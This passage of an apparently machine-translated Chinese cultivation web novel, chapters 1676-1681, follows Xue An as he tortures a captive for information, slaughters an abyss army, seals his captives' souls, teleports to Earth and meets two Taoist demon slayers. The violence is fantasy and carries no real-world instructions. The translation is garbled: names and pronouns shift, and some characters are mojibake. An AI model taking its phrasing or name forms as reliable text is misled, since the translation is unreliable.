    Xue An stood in front of him, overlooking him condescendingly, and said lightly: "Oh? What did you say? I didn''t hear it!"


    With that, Xue An raised his foot and stepped heavily on his head.


    boom!


    This foot made Wen Linglong''s whole body tremble, his hands and feet twitched, and then he cried loudly.


    "My head hurts, please stop hitting me on the head!"


    The audience was speechless.


    Xue An smiled slightly, then knelt down to look at Wen Linglong who was bursting with tears.


    "What? You can''t hold it up just after I warmed up?"


    Seeing the smile on Xue An''s face Wen Linglong was trembling as if he had seen the devil.


    He has never seen someone like Xue An.


    Calm and powerful at the same time terribly.


    From just now, I don''t know how many smashed by him, but I can''t fight back.


    This despair soon knocked down Wen Linglong, causing him to completely collapse.


    "As long as you don''t hit me on the head, you can do anything! Please! I don''t want to fight anymore!" Wen Linglong''s current performance can be described as utterly useless, and he is completely different from the arrogant image before.


    There was no expression on Xue An''s face. Instead, he raised his hand, grabbed his hair, and lifted him up.


    Then Xue An leaned forward and said coldly, "It''s okay to admit defeat, but you have to tell me, the Lord of Lost Joy, Tianzha...Where is it now?"

 Chapter 1676： 2nd generation rebuilt, foundation 1st

    "Tianzhuna? You turned out to be from Tianzhuna?" Wen Linglong trembled and couldn''t help hissing and screaming.


    But the next second, these screams stopped abruptly.


    Seeing Xue An slowly pulling out his fist from Wen Linglong''s **** mouth, the mouthful of broken teeth was brought out together.


    "Please don''t talk about the rest of nonsense when answering my question, understand?"


    Wen Linglong whimpered and nodded, trembling all over.


    No way, his mouth is so painful!


    Such an injury, even with his vitality, would take a while to recover and regenerate.


    And seeing this scene, the abyss coalition forces who followed Wen Linglong were also in a great uproar.


    Who could have imagined that the unprofitable Wen family was beaten into this appearance by a human teenager.


    Qi Weiyang''s complexion was even more pale, and his eyes were full of surprise and solemnity.


    She really couldn''t understand what the **** this young man came from.


    And he actually inquired about the news of Tianzhana, the Lord of Lost Joy!


    Could it be said that he is really from the sky?


    But how is this possible?


    You must know that Tianzhe was born at the bottom of the abyss, and it has nothing to do with the human race!


    That''s right!


    Tianzhana, the lord of disillusionment, is the old acquaintance Xue An mentioned before, as well as Fan Mengxue''s master, the ancestor of this group of men.


    And he is indeed an existence born in the abyss.


    As for why he knew Xue An and even owed Xue An three favors, that was another matter.


    But Xue An now understands that all the crux of the matter lies with Tianzhuna at this moment.


    If you want to unravel the many mysteries in Xue An''s mind, he needs his appearance even more!


    For example...Who was the person who taught Wei Li time skills? Who is the cruel treatment of Xiao Rui?


    Only when these mysteries are uncovered can we find out the gang who instigated people to slaughter the Chinese in the first place.


    As for this Wen Linglong...


    It was just a humble pawn, and even the strength of the fairy king he possessed did not enter Xue An''s eyes.


    The reason has already been said before, the immortal king''s status achieved through speculation with talent bonuses can''t be compared with the immortal king achieved step by step.


    What''s more, Xue An and the two rebuilds have a solid foundation that can be called the first in all realms.


    Because of this, many people mistakenly think that he is the cultivation base of the Half-Step Immortal King when they first meet him.


    For example, this Wei Weiyang!


    Even Hu Ying made this mistake.


    In fact, Xue An is still a little short of taking that step at the moment, so if it is strictly speaking, he can only be regarded as the pinnacle of Da Luo.


    But this highlights the terrible Xue An''s current strength.


    After all, if Wen Linglong knew that the only person who had beaten him so miserably had only the cultivation base of Da Luo Peak, he would probably cry even worse.


    "Now tell me the whereabouts of Tianzhana, and... where have the powerhouses of the thirteenth floor gone?" Xue An said coldly.


    "Big...sir, how would I know the whereabouts of Tianzhana, the Lord of Lost Joy! As for these people in the thirteenth layer..."


    Wen Linglong''s face was full of blood and an expression of trepidation, but when it came to the end, a flash of cold light suddenly flashed in his eyes.


    Because from his current position, you can just see the full sky of the Abyss Alliance Army heading towards Xue An under the leadership of Qi Weiyang.


    Wen Linglong couldn''t help being overjoyed when he saw this, and couldn''t help but think that this woman is usually arrogant to die, is she righteous at the critical moment!


    But he didn''t know that at this moment, Qi Weiyang was complaining endlessly.


    If it was possible, she didn''t want to fight against this terrifying young man who had a mystery and power!


    But reluctantly, she came by the order of the teacher, and she must fully cooperate with Wen Linglong, the son of the abyss.


    If he really had something wrong, he couldn''t explain it himself.


    More importantly, all the news about the 13th floor must be kept strictly confidential, not even a single piece of it should be leaked.


    But now Xue An is asking the situation from Wen Linglong''s mouth, and if the situation is not prevented, Wen Linglong may have said it.


    Under the combined effect of these two reasons, Qie Weiyang had no choice but to bite the bullet and take over the abyss coalition forces, and then rushed towards Xue An, trying to rescue Wen Linglong.


    But at this moment, above Xue An''s head, a brilliance soared into the sky, and then turned into a brilliant sword.


    The sword aura was lingering, and the mighty power was just like the sky, just in front of the rushing Qi Weiyang and others.


    Qi Weiyang was horrified and urged his cultivation with all his strength to stop his figure.


    Despite this, she could still feel a ray of sword energy cutting off a few of her hair.


    This time she was scared to death.


    Although she stopped, the abyss coalition forces behind her had no such good luck.


    In the case of a full charge, these abyssal coalition forces screamed and rushed into the sword sea before they could stop.


    Puff puff!


    With a muffled sound, the abyss coalition forces rushing in front did not even hum, they were chopped into pieces by this biting sword intent.


    However, the number of these abyssal coalition forces is extremely large, so although the people in front have been filled into the sword sea and become fragments, the people behind do not know what happened, and are surging forward frantically.


    At this time, these abyss monsters in the middle were in bad luck.


    I saw them hiss and roar: "Stop, stop!"


    "Ahhhh, you bastards, stop now!"


    But nothing has helped.


    There was another thumping sound like dumplings.


    A large number of these abyssal coalition forces were killed and injured, and this was just enough to stop the figure.


    But before these fluke-survived Abyssal Allied forces could take a sigh of relief, Xue An sneered.


    "cut!"


    With an order, this radiant giant sword slashed straight out in an instant, as if the autumn wind swept fallen leaves, slashed from the bodies of these abyssal coalition forces.


    In an instant.


    Sword, people stop!


    Everything was quiet Then, I saw these abyssal coalition forces sluggish in the air, a line of blood began to burst from the waist, and then I heard a muffled sound.


    The upper body of these abyssal coalition forces slid straight down, and blood shot out, staining the sky red.


    With one sword, the abyss coalition brought by Wen Linglong was cut into two parts.


    Wen Linglong took a breath of fright and couldn''t believe his eyes.


    Because from beginning to end, the young man in front of him never even looked back!


    Just like this, wiped out all of his subordinates?


    at the same time.


    A faint figure appeared in the sky. As soon as this figure appeared, it immediately fled to the distance.


    It is Qie Weiyang.


    At this moment, she was almost shocked.

 Chapter 1677： All you have to do now is go back!

    As the person who witnessed the sword just now, Qi Weiyang knew that if he hadn''t seen the chance quickly, there might be one among the dead now!


    Especially the majestic sword intent that was revealed in this sword made her creeps even more.


    So she didn''t even dare to rise up a trace of resistance, and at the moment she fell from the void, she ran out directly.


    But how could Xue An let her escape.


    I saw that he didn''t even chase after him, but said indifferently: "Believe it or not, if you run three steps forward, the sword light will pierce your sea of ??consciousness and destroy your soul?"


    This sentence directly crossed a great distance and entered Qie Weiyang''s ears.


    Qi Weiyang was cold all over, although an idea arose in his heart, is he lying to me?


    But the whole person stopped subconsciously.


    At this time, it happened to be the third step.


    At the moment she just stopped, a nearly transparent sword light appeared in front of her eyebrows.


    The distance was so close that she even felt the strong to sharp sword intent from it.


    This made her body freeze instantly, and her brain was even blank.


    If I took a half step forward at that time, then this sword light would definitely pierce the center of my eyebrows without knowing it, and shatter my soul.


    At this point in thought, Qi Weiyang is almost broken.


    at the same time.


    The sword light shattered silently.


    "If you don''t want to die, come back obediently! Otherwise I won''t remind you so kindly next time!" Xue An said lightly.


    Hearing these words, Qie Weiyang didn''t hesitate, immediately turned around and flew back to the court, then obediently landed next to Wen Linglong, not even daring to move.


    So far.


    The Abyssal Alliance forces that had just flaunted their might and even occupied most of the sky, and in a blink of an eye, only the difficult brothers Wen Linglong and Qi Weiyang were left.


    Seeing trembling all over, like two people waiting to be slaughtered.


    Fan Mengxue''s men had a psychedelic look in their eyes.


    Because the contrast before and after is too strong.


    Strong to the point of illusion.


    At the same time, Xue An smiled at Wen Linglong, "You haven''t finished answering my words just now! Why? Do you need me to ask you again?"


    Wen Linglong trembled all over, then shook his head like a rattle, "No...no need!"


    "Then please tell me now, after all, my patience is very limited!"


    "Say...what?" Wen Linglong was so scared that he was going crazy, and repeated subconsciously.


    "Huh?" Xue An raised his eyebrows slightly, "Are you kidding me?"


    Although it was only a very simple question, the violent killing intent still swept through, and this Wen Linglong was scared to death.


    "No... dare not! Ah! I remember! I really don''t know the whereabouts of Tianzhana, the Lord of Lost Joy!"


    "Then what about the people in Paradise Lost? Where have they all gone?" Xue An said coldly.


    Wen Linglong was shocked, "This...this..."


    Guanghua flashed in Xue An''s eyes, and a sword light slashed past, instantly cutting off one of Wen Linglong''s arms.


    And before the arm fell to the ground, a red flame swallowed the arm completely, and then burned into nothingness.


    Wen Linglong screamed, and the color of horror in his eyes became more intense.


    "I will start counting three numbers now. If you refuse to say it then, you will lose a part at random! And you can rest assured that the parts that were chopped off by my sword light will not be repaired at all! "Xue An said coldly.


    "No...sir, I..."


    "One!"


    Xue An ignored Wen Linglong''s words and stretched out a finger.


    There was a dense cold sweat on Wen Linglong''s forehead, partly because of pain, but more because of entanglement in panic.


    He knew very well that if he really revealed the news, then waiting for his fate might be even more miserable.


    Don''t say you will die now!


    When he was in a dilemma, Xue An extended a second finger.


    "two!"


    The killing intent became bitter again, and despair appeared in Wen Linglong''s eyes.


    If he had known that this would be the situation, he would have never left the abyss if he was killed.


    But now it''s too late to say anything.


    "three����."


    Before Xue An''s three was finished, Qie Weiyang, who was standing next to Wen Linglong, suddenly stepped forward and said respectfully: "My lord, I know where they are!"


    "Oh? You know?" Xue An glanced at this Qi Weiyang.


    "Yes!" Qie Weiyang bowed his head in response.


    Wen Linglong was startled at first, and then even hissed and roared: "Xi Weiyang, you bitch, if you dare to disclose the news, you and your Qiantianyuan will die without a place to be buried!"


    Qie Weiyang didn''t even look at him, but said coldly: "That''s not what you can say!"


    As she said, she raised her head and looked at Xue An with a solemn face.


    "My lord, the exact whereabouts of Tianzhana is indeed still unknown, but the powerhouses of Paradise Lost have all gone to one place!"


    "A place named Earth!"


    As soon as this remark came out, Xue An, who was already calm, changed his expression.


    And not only him, An Yan, Fan Mengxue, and even Hu Ying were all shocked.


    "Earth? Are you sure this group of people are going to the earth?" Fan Mengxue stepped forward and shouted anxiously.


    "How dare I say nonsense about news like this! They seemed to have given some order, and then they all left Paradise Lost and went to the earth!" Qi Weiyang said with some trembling.


    Because she clearly felt that with her own voice, the power of the human teenager on the side was skyrocketing wildly.


    In an instant it has reached a frightening point.


    After getting the affirmative answer from Qie Weiyang, Fan Mengxue''s complexion became extremely ugly and turned to look at Xue An.


    "Brother Xiaoang what should I do now? People who can live on the thirteenth level are extremely powerful! If they really go to the earth, then the earth..."


    Fan Mengxue did not finish the following words, but the meaning was self-evident.


    With the strength of the earth, how could it be possible to resist the attacks of these half-step fairy kings or even higher-strength powerhouses at every turn?


    An Yan was even more anxious, tears almost falling, "Husband, what should I do now?"


    At this moment, Xue An slowly took a deep breath.


    The breath was so long that it was like a dragon''s breath, causing a gust of wind to blow across the world.


    Then Xue An''s face gradually became calm.


    "Don''t be afraid! When I left, I had arranged enough back-hands on the earth. Even if these strong men attacked collectively, it would not be easy to succeed! And what we have to do now is!"


    "go back!"

 Chapter 1678： Zhenfeng 2 people

    "What...what are you doing? Don''t come here!" Seeing Xue An, who was slowly walking towards her face sinking like water, Wen Linglong screamed as if she saw a helpless girl of a vicious man.


    There was no lag in Xue An''s steps, and a faint sneer appeared at the corner of his mouth.


    "So scared for what? Trust me, soon, it doesn''t hurt at all!"


    Wen Linglong almost cried, and there was a little choking in his voice, and he roared inwardly, "I tell you, I am the son of the abyss. If you dare to kill me, you will wait to endure the endless anger from the abyss. !"


    Hearing Wen Linglong''s threatening words, there was a look of disdain in the eyes of Qie Weiyang on the side.


    What a fool!


    When is it, he still wants to use his identity to suppress people, can''t he not appear in the situation?


    Sure enough, Xue An didn''t even blink his eyelids, and said lightly: "Is it so powerful? But what if I...I''m not afraid?"


    Wen Linglong sweated profusely, "You..."


    Before the words fell, Xue An''s eyes suddenly burst, and the extremely majestic spirit rushed out, completely submerging Wen Linglong like a raging tide.


    Wen Linglong screamed, his body flickered a few black lights, and wanted to resist, but under Xue An''s spiritual mind, his resistance was as weak as a joke and was instantly destroyed.


    Immediately after that, Wen Linglong''s eyes dimmed at a speed visible to the naked eye.


    In an instant, his eyes went out completely.


    And a little octopus with teeth and claws rose from his eyebrows.


    This is Wen Linglong''s soul body.


    Before everyone could react, Xue An waved his hand, and the strong spirit directly sealed the octopus, and then flew into Xue An''s palm and disappeared.


    There are no more than three breaths in the whole process.


    Wen Linglong, who had just returned to life, became Xue An��s prisoner.


    Seeing this scene, Qie Weiyang''s pupils instantly shrank to the size of a needle.


    She certainly didn''t think that Wen Linglong would be the opponent of the young man in front of him.


    But she didn''t expect that Xue An could seal Wen Linglong in such a short time.


    Especially the majestic spirit that he just demonstrated, is so powerful that it has exceeded the scope of Qi Weiyang''s understanding.


    at the same time.


    Xue An slowly turned his head and looked towards Qie Weiyang.


    Qi Weiyang trembled all over, and then bowed his head respectfully.


    For disciples of these big sects, they naturally know when to show absolute respect.


    Xue An now has this strength that makes her awe, so she did not hesitate at all, and immediately gave up resistance.


    At this moment, Xue An suddenly said: "You can just tell me the whereabouts of these paradise lost powerhouses, I am very pleased!"


    Qi Weiyang immediately reverently said: "My lord, since you know the name of my house master, you should also have a connection with my teacher, so this is what a humble person should do!"


    Qie Weiyang''s remarks virtually brought him closer to Xue An.


    Xue An chuckled softly after listening, "Yes! I and your teacher... really have a connection!"


    Qi Weiyang sighed secretly when he heard the words, and then he was delighted in his heart.


    Did you guess it right?


    But at this moment, Xue An raised his hand abruptly, and a force of divine thought pierced Qi Weiyang''s eyebrows with lightning speed, and then pulled out.


    Xue An''s soul was captured by Xue An.


    She was standing in the air with a blank face, obviously not understanding what happened.


    At the same time, Xue An said calmly: "I do have a relationship with your teacher, because I have a written account, I haven''t settled with Shang Liang yet! As for you...just feel wronged first!"


    After all, Xue An didn''t wait for Qie Weiyang to speak, so he sealed him up in the same way and put it in his palm.


    So far.


    The allied forces in the abyss of the thirteenth floor were annihilated, and there was no one.


    After that, Xue An, who had finished cooking these hand tails, turned around and looked at everyone, and said in a deep voice.


    "Okay! Next, we will leave for Earth immediately!"


    "Good!" An Yan nodded immediately.


    Fan Mengxue also immediately said: "Master has a few flying boats left, the speed is top-notch, we..."


    Before Fan Mengxue finished speaking, Xue An waved his hand, "No need! We will not go back in a flying boat this time!"


    Ok?


    As soon as this remark came out, Fan Mengxue''s eyes widened.


    Not in a flying boat? How to go back then?


    Is it purely on the flesh to fly through the void?


    But the earth is very far away from here, if it crosses in the flesh, I don''t know when it will be there!


    Not only her, but An Yan also felt puzzled.


    "Husband, how do we go back?"


    Xue An said solemnly: "These powerhouses in Paradise Lost have disappeared for a long time. With their strength, they must have reached the earth at this moment! And even if we ride the fastest flying boat, it will take at least a few months. Time can only return, so long time, can everyone on earth support it?"


    This question silenced everyone.


    Yes!


    If it takes a few months to return to the earth, it is estimated that the day lily will be cold.


    "Then what to do? Is it just looking at it like this?" An Yan anxiously flushed!


    You know, there are so many relatives and friends on earth!


    An Qing, Xuan Er....


    Anything wrong is an unacceptable loss.


    "So I decided to build a space-time formation and send it back directly!" Xue An said solemnly.


    "Teleport?" Many people looked at each other.


    Hu Ying showed a knowing smile.


    "Yes, it''s teleportation! Yan''er, you may not know that when we left the earth last time, I had already set up a space-time coordinate on the earth, just for teleportation in emergencies!"


    "It''s just that my strength hasn''t recovered at the time so I have not enough power. After all, if you want to build a space-time formation, at least the power of the fairy king can be used, but now I am the pinnacle of Da Luo. Give it a try!"


    "As long as the space-time formation is established, we can shorten the journey of several months to one day or even less!"


    Hearing what Xue An said, the eyes of An Yan, Fan Mengxue and others brightened.


    "Then what are you waiting for, let''s start building it!" Zhang Xiaoyu in the crowd suddenly couldn''t wait to say.


    Xue An smiled slightly, "Of course I have to build, but I can''t do it alone. You have to work together!"


    "no problem!"


    "My lord, don''t worry, you helped us, and you are a friend of our ancestors. We are duty-bound in this matter!"


    Before Fan Mengxue could speak, these subordinates began to clamor.


    Xue An nodded, "Very well, in that case, let''s do it now!"

 Chapter 1679： The first book

    In the next few days, the entire thirteenth floor was extremely lively.


    Everyone followed Xue An''s instructions to start laying the formation.


    And while laying it, people were secretly surprised.


    Because Xue An''s formation seems to have wrapped the entire 13th floor of the sky.


    Such a huge formation is simply a miracle.


    In fact, if it weren''t for Xue An''s strong spirit to assist him, these people present would not be able to complete such a magnificent formation.


    Even so, it still took five full days to finish laying the whole frame.


    Then Xue An debugged for three more days before he could completely complete the entire formation.


    at last.


    When everything was ready, Fan Mengxue left his gang to guard here, and then resolutely prepared to go back with Xue An.


    Upon seeing this, Xue An sighed, "Mengxue, your injury..."


    Fan Mengxue was wounded by Wen Linglong''s talent for eloquence.


    Although Xue An has helped her to recuperate part of it these days, this kind of spiritual injury is extremely difficult, so it has not been completely healed yet.


    Fan Mengxue shook his head lightly, and then said calmly, "Brother Xiao An, don''t worry! My injury is no longer a serious problem, and I must go back this time! Because I want to see, this group dare What will happen to the **** who covets my house in the end!"


    Xue An laughed loudly when he heard the words, "Okay! Then I will let you see what will happen to them in the end!"


    As for Luo Lan Ting, she has the same reason for following.


    The girl''s heart is to bring those who have hurt her brothers and sisters to justice.


    So she must follow.


    Other than that is Xiao Rui.


    With half of her spiritual thoughts integrated, she behaved much better at this moment, at least more like a person, instead of being coldly like a machine like before.


    She is actually the easiest one, because wherever Fan Mengxue is, she will follow, and she will never separate.


    As a result, one more person returned.


    In the end, Xue An ordered the second-ranked master of the world, Yu Ming, and the rest of the people to stay here to assist Fan Mengxue''s men in managing the lost paradise.


    During this process, Chong Xulan''s eyes were almost dripping, but Xue An didn''t even bother to look at her.


    After finally packing everything up, Xue An asked An Yan to take everyone back to the Fubao Xiaolou, and then stood in the center of the space-time formation, his eyes suddenly bright as stars, and then gave a soft drink.


    "Time and space are connected, one thought will be true! Get up!"


    boom!


    With an order, the entire thirteen days, and even the entire Lost Paradise, began to vibrate.


    And this change naturally shocked everyone.


    Among the high ranks, Mai Chang, the head of the Mai family, was originally sitting in the study and drinking tea. After suddenly feeling strange, he flashed into the outside world, and then looked dignifiedly at the thirteen days above.


    With a flash of figure next to him, Mai Lin also appeared in front of him, and asked with horror: "Father, what''s the matter? What happened in the 13th day?"


    Mai Chang shook his head slowly, and said in a deep voice: "I don''t know, but such a majestic force is really shocking!"


    In fact, Mai Chang didn''t finish talking, because he clearly felt a familiar breath in this huge force.


    Is it the boy in white?


    At the same time, in the thirteen days, bright brilliance gathered together along the lines of the formation.


    Click!


    The door of time and space was slowly opened, Xue An''s figure flashed, and then disappeared behind the door.


    In an instant, the brilliance dissipated and everything was calm again.


    It''s just that Xue An''s people have disappeared in place.


    If you understand the universe as a plane, then the space-time formation method is equivalent to folding paper in half.


    In this way, a destination that would have to be reached over a very long distance may be reached in a very short time.


    But this approach is also extremely dangerous.


    Because this is different from traveling within the world, but actually walking among the heavens, and it is also a shortcut to go in an opportunistic way.


    In this way, the chance of encountering the violent turbulence of time and space can be greatly increased!


    That is a terrifying turbulence that can completely shred a big Luo strong.


    Therefore, generally only after reaching the fairy king, would anyone dare to travel to the heavens in this way.


    But Xue An is different. First of all, he has an amazing array of formations. By constructing a space-time array, he can greatly reduce the risk.


    The second is that Xue An has the confidence to overcome the turbulence of time and space.


    The third is because time is really tight.


    That''s why he would be on the verge of danger.


    That''s why he let An Yan and others all enter the Fubao Xiaolou to escape.


    really.


    Xue An did not encounter much danger along the way, even if there was some turbulence in time and space, he passed by safely.


    In this way, after a full day.


    A faint light appeared ahead.


    This also means that the exit is ahead for the space-time passage that is so dark that it is invisible.


    Xue An didn''t show any excitement. On the contrary, his face became more solemn at this moment.


    Because he knows that this time is often the most violent time and space turbulence.


    really.


    Just when Xue An was only a short distance away from the exit.


    A turbulent flow of time and space rushed out, and formed a huge vortex in front of Xue An.


    The invincible power of time and space revolves like crazy, seeming to swallow everything.


    Two groups of jumping flames suddenly rose in Xue An''s eyes. At the same time, a series of biting sword intent protected Xue An''s body.


    Then Xue An took a deep breath, rushed forward, and immediately disappeared into the whirlpool.


    The whirlpool yelled frantically, as if to crush everything.


    But at this moment, at the other end of the vortex, a figure gradually emerged, and then heard a loud bang.


    Xue An rushed out of the whirlpool, rushed into the light, and disappeared.


    After falling out of the space-time passage, the first thing that came into view was a dilapidated corridor. There were various bottles and cans scattered on the ground, which was obviously abandoned for a long time.


    And on the walls of the corridor, there were red palm prints.


    Seeing that, it was obviously printed when people were in extreme pain.


    The surroundings are terribly quiet, but you can hear the sound of a ball coming from a distance.


    This dull and boring voice brought out the desolation and horror here.


    There was no expression on Xue An''s face.


    Originally, the location of the space-time coordinates was not fixed, not to mention that Xue An was urged by the power of Luo, so some gaps were normal.


    But look at the trash marks on the ground This place should still be in China.


    As for the so-called terror...


    That was a joke to Xue An.


    He first sorted out the clothes that had been torn by the turbulent flow of time and space, and some of the wounds had stopped bleeding at this moment, leaving only the scarlet blood.


    Then he stepped forward.


    This day''s time travel has greatly depleted his strength, so he has to slow down a bit.


    But when Xue An just walked to the corner of the corridor, a small shadow suddenly jumped out of the corner and disappeared on the other side of the corner.


    Immediately afterwards, I heard a child giggling, accompanied by laughter, and there was a bounce of the ball.


    "Uncle, I''m so bored, will you come and play with me!"

 Chapter 1680： Demon Slayer Squad

    In such a quiet environment, suddenly heard a sentence like this, most people estimate that even the roots of their hair have to stand up.


    But Xue An just smiled at this, and said softly: "Okay! What do you want me to play with you?"


    "Gluck, uncle, you are so kind! Then let''s shoot the ball first!"


    With the voice, the entire corridor suddenly became extremely gloomy and cold, and then in the middle of the corridor appeared a little boy whose body was shrouded in black smoke with only one face exposed.


    The little boy''s eyes were extremely deep black, grinning at Xue An.


    It''s just that when this innocent smile appeared on his face, it was full of weirdness and terror.


    Xue An remained unmoved and stood there watching quietly.


    At the same time, the little boy suddenly reached out his hand and took off his head, and then threw it on the ground, when the ball was batted.


    Bang bang bang.


    Amidst the dull and monotonous sound, the little boy''s head that was up and down slowly turned here, grinning at Xue An.


    "Uncle, you have to shoot the ball like me!"


    Facing such a terrifying picture that scared ordinary people, Xue An didn''t even have a trace of expression on his face.


    On the contrary, there was a touch of playfulness in his eyes.


    Devil in chaos?


    wrong!


    The breath of this demon... seems a little strange!


    Seeing Xue An unmoved, a look of cruelty appeared in the little boy''s eyes, and a line of blood and tears flowed down the corner of his eyes.


    "Uuuuu, uncle, you are not obedient! Why don''t you play with me! Ouuuu."


    The cry was like a magic sound, enough to shake people''s hearts.


    But Xue An only felt a little funny about it.


    Regardless of the strength of this monster, IQ is really low!


    Although his current momentum is a bit low, can he not see the slightest clue?


    At this time, the little boy saw Xue An still unmoved, and couldn''t help becoming a little anxious, then suddenly opened his mouth, tearing his ears at the corners of his mouth, and grinning on the back of his head.


    The saliva slid down the terrifying teeth of his mouth, and the little boy Jiejie smiled strangely: "Uncle, why are you so disobedient? Since you don''t want to do it yourself, then I have to help you!"


    As he said, his head plunged towards Xue An.


    Xue An is almost full of laughter.


    If there is a ranking of death methods, this demon must be alive and stupid!


    Just when Xue An thought about it, he was about to end up with this funny demon who jumped out of nowhere.


    A soft drink suddenly came from a distance.


    "The world is boundless, the universe borrows the law! The evildoer will not die!"


    Following the voice, I saw a talisman with the wind and thunder coming straight towards the monster.


    The demon was so frightened when he saw it, the head that had pounced on Xue An suddenly turned around halfway, and was ready to flee.


    But at this moment, this talisman suddenly changed into two, and then two into four...


    A cage was formed in an instant, and the demon ghost was locked in it.


    The demon screamed, "Slayer, you bastards..."


    Speaking of this, his head burst open suddenly, and then countless filthy blood went everywhere, obviously intending to escape this way.


    But at this moment, a woman wearing a tight leather jacket fell from the sky, holding a silver revolver, and firing several shots at the blood.


    Bang bang bang!


    The huge sound easily shattered the silence in the corridor.


    The strong smell of gunpowder permeated the spirits.


    After a few shots, this group of dirty blood squirmed frantically, and uttered a harsh scream.


    "Daofa bullets...you bastards!"


    He said that he would pounce on this woman.


    The woman took a half step back, blowing the smoke from the muzzle completely unmoved.


    At this moment, a young Taoist priest wearing a Taoist uniform suddenly appeared in front of the woman, and then gave a soft voice, "Heaven and Earth Xuanzong, the evil demon is extinct!"


    After saying this, he shook his hand violently, and opened a cloth pocket, and then directly filled the blood in it.


    The cloth pocket rushed from the left to the right, and the demon''s hissing roar faintly came.


    "No...you guys..."


    But the young Taoist priest didn''t care about this at all. He saw his face sinking like water, his hands were quickly overlapped, and then the cloth bag was neatly folded into a square size.


    Only then did the demon''s roar disappear.


    The young Taoist took a breath, then wiped the sweat from his forehead, but there was a look of excitement on his face.


    "Brother, we are going to get a high score for our teacher training!" The woman also said excitedly.


    The young Taoist smiled slightly, but did not respond to the woman''s words, but put the cloth pockets close to his body, and then looked at Xue An.


    During their entire process of eliminating demons, Xue An didn''t make any movements, just watched with interest.


    However, his state fell in the eyes of these two people as if they were scared and stupid.


    The woman with leather pants curled her lips and said in a condescending tone: "Brother, this is probably another mortal who makes troubles for excitement! Leave him alone, let''s go!"


    The young Taoist glared at the woman when he heard the words, and then asked the chief inspector Xue An to question, "Blessed Life Immeasurable Tianzun, is the injury on the donor''s body now obstructive?"


    Xue An withdrew his gaze after hearing this, smiled and shook his head.


    "Why don''t you speak? You shouldn''t be a dumb!" The woman said a little bit irritably.


    The young Taoist frowned slightly, "Jingping!"


    The woman stuck her tongue out, took a step back, gave Xue An a fierce look, but stopped talking.


    At this time, the young Taoist priest took out a pill of pill from his cloth pocket, "Donor, this is a healing pill that can drive away evil and strengthen the body, you accept it!"


    Xue An glanced at this pill, and then took it casually.


    "Hey, don''t you even say thank you? You were rescued by our Demon Demon Slayer Squad anyway!" The woman poked her head again and said viciously.


    "Jingping, be careful if you talk nonsense, I won''t take you out again!" The young Taoist''s face sank.


    Jingping shrank her neck in fright no longer dared to talk nonsense, but she still whispered softly: "I ran around and provokes the ghosts and don��t say anything, but I didn��t say thank you when I was saved by us! ...."


    The young Taoist smiled apologetically at Xue An, "I''m sorry, my junior sister is too young to speak, but why does the benefactor appear in such a place? Don''t you know that since the great movement of the world, demons have been rampant everywhere? "


    Xue An remained silent, but looked at the little Taoist priest with interest.


    The young Taoist priest thought that Xue An knew he was wrong, so he didn''t say a word, so he sighed softly: "Well, in the future, the donor should not come to such a dangerous place. This time you met our gang. The Demon Slayer team was lucky enough to escape, but next time I dare not say that I had such good luck!"


    After that, he shook his hand at Xue An, "The monster here has been removed, and the donor please leave by yourself! Goodbye!"


    But just when the two seniors were about to turn around and leave.


    Xue An suddenly chuckled: "The Demon Slayer Demon Slayer Squad? What was the relationship between Zhang Chu of the Master''s Palace and you that day?"

 Chapter 1681： Heaven and earth are rampant

    "Presumptuous!" The woman named Jingping changed her face when she heard the words, "How dare you call my master''s name directly, do you know how to be polite?"


    "Your master?" Xue An glanced at the woman with a smile, and it was this look that made her swallow all the things she was going to say later.


    Because she was shocked to find that the man''s eyes were as deep as a black pool. Just a gaze made one cannot help but want to worship.


    Just as she was speechless, the young Taoist priest stepped forward, blocked his junior sister behind him, and bowed his hand.


    "Does the donor know my master?"


    At this time, he became much more respectful in his tone and attitude.


    Xue An smiled slightly, "You know it!"


    That''s right!


    The Zhang Chu that Xue An said was the former instructor of the Blood Kylin Special Forces, and he was also the only descendant of the Tianshi Mansion.


    At that time, Xue An had also bestowed him the skill of Daofu''s True Weapon, which was regarded as a help to him.


    And looking at it now, this Heavenly Master''s Mansion has already opened its branches and leaves, with a trace of its former glory!


    The young Taoist priest became very solemn when he heard the words, and immediately obeyed the gift of the younger generation, "Zhang Fengwu, the sixty-ninth generation descendant of the Tianshi Mansion, has seen the senior, dare you ask the name of the senior?"


    As he said, he stepped on the foot of the woman behind him unmovingly.


    The woman pursed her lips reluctantly, but she still confessed, "Zhang Jingping, the sixty-ninth generation descendant of the Heavenly Master''s Mansion, I have seen seniors!"


    Just when she said this, she thought silently in her heart.


    Seeing that this young man looks smaller than himself, how could he become his own senior?


    If you dare to say that you know Master, I think you are talking nonsense!


    Brother is so honest, he would believe his nonsense!


    While she was thinking about it, Xue An smiled slightly, did not directly respond to Zhang Fengwu''s words, but said indifferently: "Since you are Zhang Chu''s descendant, then this place belongs to China too?"


    Although Zhang Fengwu wondered why this mysterious boy would ask, he answered honestly: "Of course, this is the boundary of Lingnan!"


    "Lingnan?" Xue An chuckled, "No wonder I can feel a sharp sword intent. It seems that Yu Ming''s kendo cultivation level over the years has really not fallen!"


    At the beginning, Zhang Fengwu hadn''t realized who Xue An said that Yu Ming was, and he was shocked only after a while.


    Yu Ming... Isn''t that the current Patriarch of the Yu Family in Lingnan, the adult who is known as the Living Sword Fairy in the world!


    But who is this boy?


    Why is he so familiar with such a big man?


    And listening to the tone is very understatement, as if talking about a junior of his own.


    When he was surprised, Xue An continued slowly and said: "Since this is Lingnan, with Yu Ming''s swordsmanship cultivation base, it should not be allowed to have such demons in the territory!"


    "What''s the matter?"


    It should be understood that when a person''s swordsmanship has been cultivated to a certain level, he can suppress the aura of one world. In this world, any monster and evil will be attacked by swords indiscriminately.


    So among the heavens, if you say which monk is the most feared by demons and evil spirits, it is naturally sword repair!


    In their own words, these gang of sword lunatics are a group of masters who turn their faces and don''t recognize people, and it is really ruthless to kill the monsters and evil creatures one by one, and they can be called monsters.


    Some sword repair powers can even suppress a galaxy with their own power. In his territory, let alone ordinary demons, even the fairy emperor level demons have to go around.


    Because the sword repair power that can reach that level is the master who refuses to accept except a sword in his chest.


    There are even those who are more domineering, and even the cultivators of other factions will be suppressed in their own territory, and only the sword repair can unimpeded.


    The hegemony of sword repair is also evident from this.


    Although Yu Ming is far from reaching that level, with his current cultivation level, there is no problem in suppressing Lingnan, and it is even more impossible for such a ghost to appear in Lingnan.


    Hearing Xue An''s words, Zhang Fengwu glanced at him in surprise, before smiling bitterly.


    "Don''t the predecessors really know?"


    "what do you know?"


    "Uh����."


